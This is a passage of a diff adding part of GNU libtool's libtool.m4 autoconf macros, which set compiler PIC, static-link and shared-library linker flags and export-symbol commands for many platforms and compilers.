_LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + xl* | bgxl* | bgf* | mpixl*) + # IBM XL C 8.0/Fortran 10.1, 11.1 on PPC and BlueGene + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-qpic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-qstaticlink' + ;; + *) + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ Ceres\ Fortran* | *Sun*Fortran*\ [[1-7]].* | *Sun*Fortran*\ 8.[[0-3]]*) + # Sun Fortran 8.3 passes all unrecognized flags to the linker + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_TAGVAR(lt_prog_compiler_wl, $1)='' + ;; + *Sun\ F* | *Sun*Fortran*) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + ;; + *Sun\ C*) + # Sun C 5.9 + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + ;; + *Intel*\ [[CF]]*Compiler*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-static' + ;; + *Portland\ Group*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fpic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + esac + ;; + esac + ;; + + newsos6) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + *nto* | *qnx*) + # QNX uses GNU C++, but need to define -shared option too, otherwise + # it will coredump. + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC -shared' + ;; + + osf3* | osf4* | osf5*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + # All OSF/1 code is PIC. + _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + rdos*) + _LT_TAGVAR(lt_prog_compiler_static, $1)='-non_shared' + ;; + + solaris*) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + case $cc_basename in + f77* | f90* | f95* | sunf77* | sunf90* | sunf95*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';; + *) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';; + esac + ;; + + sunos4*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4 | sysv4.2uw2* | sysv4.3*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + fi + ;; + + sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + unicos*) + _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,' + _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + + uts4*) + _LT_TAGVAR(lt_prog_compiler_pic, $1)='-pic' + _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic' + ;; + + *) + _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no + ;; + esac + fi +]) +case $host_os in + # For platforms that do not support PIC, -DPIC is meaningless: + *djgpp*) + _LT_TAGVAR(lt_prog_compiler_pic, $1)= + ;; + *) + _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])" + ;; +esac + +AC_CACHE_CHECK([for $compiler option to produce PIC], + [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)], + [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_prog_compiler_pic, $1)]) +_LT_TAGVAR(lt_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_cv_prog_compiler_pic, $1) + +# +# Check to make sure the PIC flag actually works. +# +if test -n "$_LT_TAGVAR(lt_prog_compiler_pic, $1)"; then + _LT_COMPILER_OPTION([if $compiler PIC flag $_LT_TAGVAR(lt_prog_compiler_pic, $1) works], + [_LT_TAGVAR(lt_cv_prog_compiler_pic_works, $1)], + [$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])], [], + [case $_LT_TAGVAR(lt_prog_compiler_pic, $1) in + "" | " "*) ;; + *) _LT_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_TAGVAR(lt_prog_compiler_pic, $1)" ;; + esac], + [_LT_TAGVAR(lt_prog_compiler_pic, $1)= + _LT_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no]) +fi +_LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1], + [Additional compiler flags for building library objects]) + +_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1], + [How to pass a linker flag through the compiler]) +# +# Check to make sure the static flag actually works. +# +wl=$_LT_TAGVAR(lt_prog_compiler_wl, $1) eval lt_tmp_static_flag=\"$_LT_TAGVAR(lt_prog_compiler_static, $1)\" +_LT_LINKER_OPTION([if $compiler static flag $lt_tmp_static_flag works], + _LT_TAGVAR(lt_cv_prog_compiler_static_works, $1), + $lt_tmp_static_flag, + [], + [_LT_TAGVAR(lt_prog_compiler_static, $1)=]) +_LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1], + [Compiler flag to prevent dynamic linking]) +])# _LT_COMPILER_PIC + + +# _LT_LINKER_SHLIBS([TAGNAME]) +# ---------------------------- +# See if the linker supports building shared libraries. +m4_defun([_LT_LINKER_SHLIBS], +[AC_REQUIRE([LT_PATH_LD])dnl +AC_REQUIRE([LT_PATH_NM])dnl +m4_require([_LT_PATH_MANIFEST_TOOL])dnl +m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_DECL_EGREP])dnl +m4_require([_LT_DECL_SED])dnl +m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl +m4_require([_LT_TAG_COMPILER])dnl +AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries]) +m4_if([$1], [CXX], [ + _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'] + case $host_os in + aix[[4-9]]*) + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to GNU nm, but means don't demangle to AIX nm. + # Without the "-l" option, or with the "-B" option, AIX nm treats + # weak defined symbols like other global defined symbols, whereas + # GNU nm marks them as "W". + # While the 'weak' keyword is ignored in the Export File, we need + # it in the Import File for the 'aix-soname' feature, so we have + # to replace the "-B" option with "-P" for AIX nm. + if $NM -V 2>&1 | $GREP 'GNU' > /dev/null; then + _LT_TAGVAR(export_symbols_cmds, $1)='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "W")) && ([substr](\$ 3,1,1) != ".")) { if (\$ 2 == "W") { print \$ 3 " weak" } else { print \$ 3 } } }'\'' | sort -u > $export_symbols' + else + _LT_TAGVAR(export_symbols_cmds, $1)='`func_echo_all $NM | $SED -e '\''s/B\([[^B]]*\)$/P\1/'\''` -PCpgl $libobjs $convenience | awk '\''{ if (((\$ 2 == "T") || (\$ 2 == "D") || (\$ 2 == "B") || (\$ 2 == "L") || (\$ 2 == "W") || (\$ 2 == "V") || (\$ 2 == "Z")) && ([substr](\$ 1,1,1) != ".")) { if ((\$ 2 == "W") || (\$ 2 == "V") || (\$ 2 == "Z")) { print \$ 1 " weak" } else { print \$ 1 } } }'\'' | sort -u > $export_symbols' + fi + ;; + pw32*) + _LT_TAGVAR(export_symbols_cmds, $1)=$ltdll_cmds + ;; + cygwin* | mingw* | cegcc*) + case $cc_basename in + cl* | icl*) + _LT_TAGVAR(exclude_expsyms, $1)='_NULL_IMPORT_DESCRIPTOR|_IMPORT_DESCRIPTOR_.*' + ;; + *) + _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols' + _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'] + ;; + esac + ;; + *) + _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + ;; + esac +], [ + runpath_var= + _LT_TAGVAR(allow_undefined_flag, $1)= + _LT_TAGVAR(always_export_symbols, $1)=no + _LT_TAGVAR(archive_cmds, $1)= + _LT_TAGVAR(archive_expsym_cmds, $1)= + _LT_TAGVAR(compiler_needs_object, $1)=no + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=no + _LT_TAGVAR(export_dynamic_flag_spec, $1)= + _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + _LT_TAGVAR(hardcode_automatic, $1)=no + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_direct_absolute, $1)=no + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_TAGVAR(hardcode_libdir_separator, $1)= + _LT_TAGVAR(hardcode_minus_L, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_TAGVAR(inherit_rpath, $1)=no + _LT_TAGVAR(link_all_deplibs, $1)=unknown + _LT_TAGVAR(module_cmds, $1)= + _LT_TAGVAR(module_expsym_cmds, $1)= + _LT_TAGVAR(old_archive_from_new_cmds, $1)= + _LT_TAGVAR(old_archive_from_expsyms_cmds, $1)= + _LT_TAGVAR(thread_safe_flag_spec, $1)= + _LT_TAGVAR(whole_archive_flag_spec, $1)= + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + _LT_TAGVAR(include_expsyms, $1)= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ' (' and ')$', so one must not match beginning or + # end of line. Example: 'a|bc|.*d.*' will exclude the symbols 'a' and 'bc', + # as well as any symbol that contains 'd'. + _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'] + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + # Exclude shared library initialization/finalization symbols. +dnl Note also adjust exclude_expsyms for C++ above. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32* | cegcc*) + # FIXME: the MSVC++ and ICC port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++ or Intel C++ Compiler. + if test yes != "$GCC"; then + with_gnu_ld=no + fi + ;; + interix*) + # we just hope/assume this is gcc and not c89 (= MSVC++ or ICC) + with_gnu_ld=yes + ;; + openbsd* | bitrig*) + with_gnu_ld=no + ;; + esac + + _LT_TAGVAR(ld_shlibs, $1)=yes + + # On some targets, GNU ld is compatible enough with the native linker + # that we're better off using the native interface for both. + lt_use_gnu_ld_interface=no + if test yes = "$with_gnu_ld"; then + case $host_os in + aix*) + # The AIX port of GNU ld has always aspired to compatibility + # with the native linker. However, as the warning in the GNU ld + # block says, versions before 2.19.5* couldn't really create working + # shared libraries, regardless of the interface used. + case `$LD -v 2>&1` in + *\ \(GNU\ Binutils\)\ 2.19.5*) ;; + *\ \(GNU\ Binutils\)\ 2.[[2-9]]*) ;; + *\ \(GNU\ Binutils\)\ [[3-9]]*) ;; + *) + lt_use_gnu_ld_interface=yes + ;; + esac + ;; + *) + lt_use_gnu_ld_interface=yes + ;; + esac + fi + + if test yes = "$lt_use_gnu_ld_interface"; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='$wl' + + # Set some defaults for GNU ld with shared library support. These + # are reset later if shared libraries are not supported. Putting them + # here allows them to be overridden if necessary. + runpath_var=LD_RUN_PATH + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | $GREP 'no-whole-archive' > /dev/null; then + _LT_TAGVAR(whole_archive_flag_spec, $1)=$wlarc'--whole-archive$convenience '$wlarc'--no-whole-archive' + else + _LT_TAGVAR(whole_archive_flag_spec, $1)= + fi + supports_anon_versioning=no + case `$LD -v | $SED -e 's/([[^)]]\+)\s\+//' 2>&1` in + *GNU\ gold*) supports_anon_versioning=yes ;; + *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + + # See if GNU ld supports shared libraries. + case $host_os in + aix[[3-9]]*) + # On AIX/PPC, the GNU linker is very broken + if test ia64 != "$host_cpu"; then + _LT_TAGVAR(ld_shlibs, $1)=no + cat <<_LT_EOF 1>&2 + +*** Warning: the GNU linker, at least up to release 2.19, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to install binutils +*** 2.20 or above, or modify your PATH so that a non-GNU linker is found. +*** You will then need to restart the configuration process. + +_LT_EOF + fi + ;; + + amigaos*) + case $host_cpu in + powerpc) + # see comment about AmigaOS4 .so support + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='' + ;; + m68k) + _LT_TAGVAR(archive_cmds, $1)='$RM $output_objdir/a2ixlibrary.data~$ECHO "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$ECHO "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$ECHO "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$ECHO "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_minus_L, $1)=yes + ;; + esac + ;; + + beos*) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + _LT_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + cygwin* | mingw* | pw32* | cegcc*) + # _LT_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless, + # as there is no search path for DLLs. + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl--export-all-symbols' + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_TAGVAR(always_export_symbols, $1)=no + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols' + _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'] + + if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname $wl--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + # If the export-symbols file already is a .def file, use it as + # is; otherwise, prepend EXPORTS... + _LT_TAGVAR(archive_expsym_cmds, $1)='if _LT_DLL_DEF_P([$export_symbols]); then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname $wl--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + haiku*) + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(link_all_deplibs, $1)=yes + ;; + + os2*) + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_TAGVAR(hardcode_minus_L, $1)=yes + _LT_TAGVAR(allow_undefined_flag, $1)=unsupported + shrext_cmds=.dll + _LT_TAGVAR(archive_cmds, $1)='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + emxexp $libobjs | $SED /"_DLL_InitTerm"/d >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + _LT_TAGVAR(archive_expsym_cmds, $1)='$ECHO "LIBRARY ${soname%$shared_ext} INITINSTANCE TERMINSTANCE" > $output_objdir/$libname.def~ + $ECHO "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~ + $ECHO "DATA MULTIPLE NONSHARED" >> $output_objdir/$libname.def~ + $ECHO EXPORTS >> $output_objdir/$libname.def~ + prefix_cmds="$SED"~ + if test EXPORTS = "`$SED 1q $export_symbols`"; then + prefix_cmds="$prefix_cmds -e 1d"; + fi~ + prefix_cmds="$prefix_cmds -e \"s/^\(.*\)$/_\1/g\""~ + cat $export_symbols | $prefix_cmds >> $output_objdir/$libname.def~ + $CC -Zdll -Zcrtdll -o $output_objdir/$soname $libobjs $deplibs $compiler_flags $output_objdir/$libname.def~ + emximp -o $lib $output_objdir/$libname.def' + _LT_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/${libname}_dll.a $output_objdir/$libname.def' + _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + _LT_TAGVAR(file_list_spec, $1)='@' + ;; + + interix[[3-9]]*) + _LT_TAGVAR(hardcode_direct, $1)=no + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath,$libdir' + _LT_TAGVAR(export_dynamic_flag_spec, $1)='$wl-E' + # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc. + # Instead, shared libraries are loaded at an image base (0x10000000 by + # default) and relocated if they conflict, which is a slow very memory + # consuming and fragmenting process. To avoid this, we pick a random, + # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link + # time. Moving up from 0x10000000 also allows more sbrk(2) space. + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-h,$soname $wl--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$SED "s|^|_|" $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-h,$soname $wl--retain-symbols-file,$output_objdir/$soname.expsym $wl--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib' + ;; + + gnu* | linux* | tpf* | k*bsd*-gnu | kopensolaris*-gnu) + tmp_diet=no + if test linux-dietlibc = "$host_os"; then + case $cc_basename in + diet\ *) tmp_diet=yes;; # linux-dietlibc with static linking (!diet-dyn) + esac + fi + if $LD --help 2>&1 | $EGREP ': supported targets:.* elf' > /dev/null \ + && test no = "$tmp_diet" + then + tmp_addflag=' $pic_flag' + tmp_sharedflag='-shared' + case $cc_basename,$host_cpu in + pgcc*) # Portland Group C compiler + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + tmp_addflag=' $pic_flag' + ;; + pgf77* | pgf90* | pgf95* | pgfortran*) + # Portland Group f77 and f90 compilers + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + tmp_addflag=' $pic_flag -Mnomain' ;; + ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64 + tmp_addflag=' -i_dynamic' ;; + efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64 + tmp_addflag=' -i_dynamic -nofor_main' ;; + ifc* | ifort*) # Intel Fortran compiler + tmp_addflag=' -nofor_main' ;; + lf95*) # Lahey Fortran 8.1 + _LT_TAGVAR(whole_archive_flag_spec, $1)= + tmp_sharedflag='--shared' ;; + nagfor*) # NAGFOR 5.3 + tmp_sharedflag='-Wl,-shared' ;; + xl[[cC]]* | bgxl[[cC]]* | mpixl[[cC]]*) # IBM XL C 8.0 on PPC (deal with xlf below) + tmp_sharedflag='-qmkshrobj' + tmp_addflag= ;; + nvcc*) # Cuda Compiler Driver 2.2 + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + _LT_TAGVAR(compiler_needs_object, $1)=yes + ;; + esac + case `$CC -V 2>&1 | $SED 5q` in + *Sun\ C*) # Sun C 5.9 + _LT_TAGVAR(whole_archive_flag_spec, $1)='$wl--whole-archive`new_convenience=; for conv in $convenience\"\"; do test -z \"$conv\" || new_convenience=\"$new_convenience,$conv\"; done; func_echo_all \"$new_convenience\"` $wl--no-whole-archive' + _LT_TAGVAR(compiler_needs_object, $1)=yes + tmp_sharedflag='-G' ;; + *Sun\ F*) # Sun Fortran 8.3 + tmp_sharedflag='-G' ;; + esac + _LT_TAGVAR(archive_cmds, $1)='$CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + + if test yes = "$supports_anon_versioning"; then + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC '"$tmp_sharedflag""$tmp_addflag"' $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-version-script $wl$output_objdir/$libname.ver -o $lib' + fi + + case $cc_basename in + tcc*) + _LT_TAGVAR(export_dynamic_flag_spec, $1)='-rdynamic' + ;; + xlf* | bgf* | bgxlf* | mpixlf*) + # IBM XL Fortran 10.1 on PPC cannot create shared libs itself + _LT_TAGVAR(whole_archive_flag_spec, $1)='--whole-archive$convenience --no-whole-archive' + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib' + if test yes = "$supports_anon_versioning"; then + _LT_TAGVAR(archive_expsym_cmds, $1)='echo "{ global:" > $output_objdir/$libname.ver~ + cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ + echo "local: *; };" >> $output_objdir/$libname.ver~ + $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib' + fi + ;; + esac + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ >/dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris*) + if $LD -v 2>&1 | $GREP 'BFD 2\.8' > /dev/null; then + _LT_TAGVAR(ld_shlibs, $1)=no + cat <<_LT_EOF 1>&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +_LT_EOF + elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + + sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*) + case `$LD -v 2>&1` in + *\ [[01]].* | *\ 2.[[0-9]].* | *\ 2.1[[0-5]].*) + _LT_TAGVAR(ld_shlibs, $1)=no + cat <<_LT_EOF 1>&2 + +*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 cannot +*** reliably create shared libraries on SCO systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.16.91.0.3 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +_LT_EOF + ;; + *) + # For security reasons, it is highly recommended that you always + # use absolute paths for naming shared libraries, and exclude the + # DT_RUNPATH tag from executables and libraries. But doing so + # requires that you compile everything twice, which is a pain. + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + _LT_TAGVAR(hardcode_libdir_flag_spec, $1)='$wl-rpath $wl$libdir' + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + + sunos4*) + _LT_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + _LT_TAGVAR(hardcode_direct, $1)=yes + _LT_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + *) + if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then + _LT_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname -o $lib' + _LT_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags $wl-soname $wl$soname $wl-retain-symbols-file $wl$export_symbols -o $lib' + else + _LT_TAGVAR(ld_shlibs, $1)=no 